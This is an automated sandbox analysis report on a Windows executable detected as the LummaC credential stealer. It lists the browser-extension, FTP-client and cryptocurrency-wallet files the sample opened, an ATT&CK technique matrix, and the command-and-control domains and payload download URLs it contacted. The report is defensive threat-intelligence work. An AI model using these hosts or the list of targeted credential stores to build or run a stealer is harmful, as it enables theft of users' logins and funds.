Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/6r	0%	Avira URL Cloud	safe
p10tgrace.sbs	0%	Avira URL Cloud	safe
https://cook-rain.sbs/apier	0%	Avira URL Cloud	safe
https://cook-rain.sbs/rH	0%	Avira URL Cloud	safe
https://cook-rain.sbs/zC	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/apirsion.txtPK	0%	Avira URL Cloud	safe
peepburry828.sbs	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exeN	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/7j	0%	Avira URL Cloud	safe
https://cook-rain.sbs/KlO	0%	Avira URL Cloud	safe
https://cook-rain.sbs/oih	0%	Avira URL Cloud	safe
https://cook-rain.sbs/api	0%	Avira URL Cloud	safe
processhol.sbs	0%	Avira URL Cloud	safe
p3ar11fter.sbs	0%	Avira URL Cloud	safe
https://cook-rain.sbs/	0%	Avira URL Cloud	safe
https://cook-rain.sbs/9x	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/apix/fqs92o4p.default-release/key4.dbPK	0%	Avira URL Cloud	safe
https://cook-rain.sbs/apiY	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/apix2q	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.196	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
peepburry828.sbs	true	Avira URL Cloud: safe	unknown
p10tgrace.sbs	true	Avira URL Cloud: safe	unknown
processhol.sbs	true	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/api	true	Avira URL Cloud: safe	unknown
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high
p3ar11fter.sbs	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_171.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/6r	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs:443/apirsion.txtPK	file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_171.6.dr	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apier	file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/zC	file.exe, 00000000.00000003.2082771243.000000000150B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exeN	file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1834071063.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834153679.0000000005E95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_171.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_163.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://cook-rain.sbs/KlO	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_171.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_171.6.dr	false		high
https://cook-rain.sbs/rH	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_171.6.dr, chromecache_135.6.dr, chromecache_172.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1834153679.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/7j	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://github.com/gewarren	chromecache_171.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/oih	file.exe, 00000000.00000003.1911881109.0000000001532000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_171.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_171.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_171.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://aka.ms/certhelp	chromecache_151.6.dr, chromecache_163.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, file.exe, 00000000.00000003.2082689370.000000000152C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082970465.0000000001533000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_171.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1834071063.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834153679.0000000005E95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_163.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_171.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_171.6.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/9x	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs:443/apix2q	file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://cook-rain.sbs/apiY	file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/adegeo	chromecache_171.6.dr	false		high
https://cook-rain.sbs:443/api	file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	file.exe, 00000000.00000003.1834071063.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_151.6.dr, chromecache_163.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_151.6.dr, chromecache_163.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082970465.0000000001533000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_171.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1834153679.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_151.6.dr, chromecache_163.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/apix/fqs92o4p.default-release/key4.dbPK	file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/try	chromecache_151.6.dr, chromecache_163.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556961
Start date and time:	2024-11-16 20:11:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/64@11/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 216.58.206.35, 184.28.89.167, 142.250.186.110, 64.233.167.84, 34.104.35.123, 88.221.170.101, 2.19.126.137, 2.19.126.156, 20.42.73.27, 172.217.16.202, 142.250.185.234, 216.58.212.138, 142.250.184.202, 142.250.185.202, 142.250.186.106, 142.250.185.106, 142.250.185.170, 172.217.18.10, 142.250.181.234, 142.250.186.170, 216.58.206.42, 142.250.185.138, 142.250.186.74, 142.250.186.42, 216.58.206.74, 20.189.173.27, 13.74.129.1, 204.79.197.237, 13.107.21.237, 142.250.186.67, 172.217.18.110
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, onedscolprdwus21.westus.cloudapp.azure.com, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, onedscolprdeus12.eastus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net,
Execution Graph export aborted for target file.exe, PID 7412 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:12:09	API Interceptor	46x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
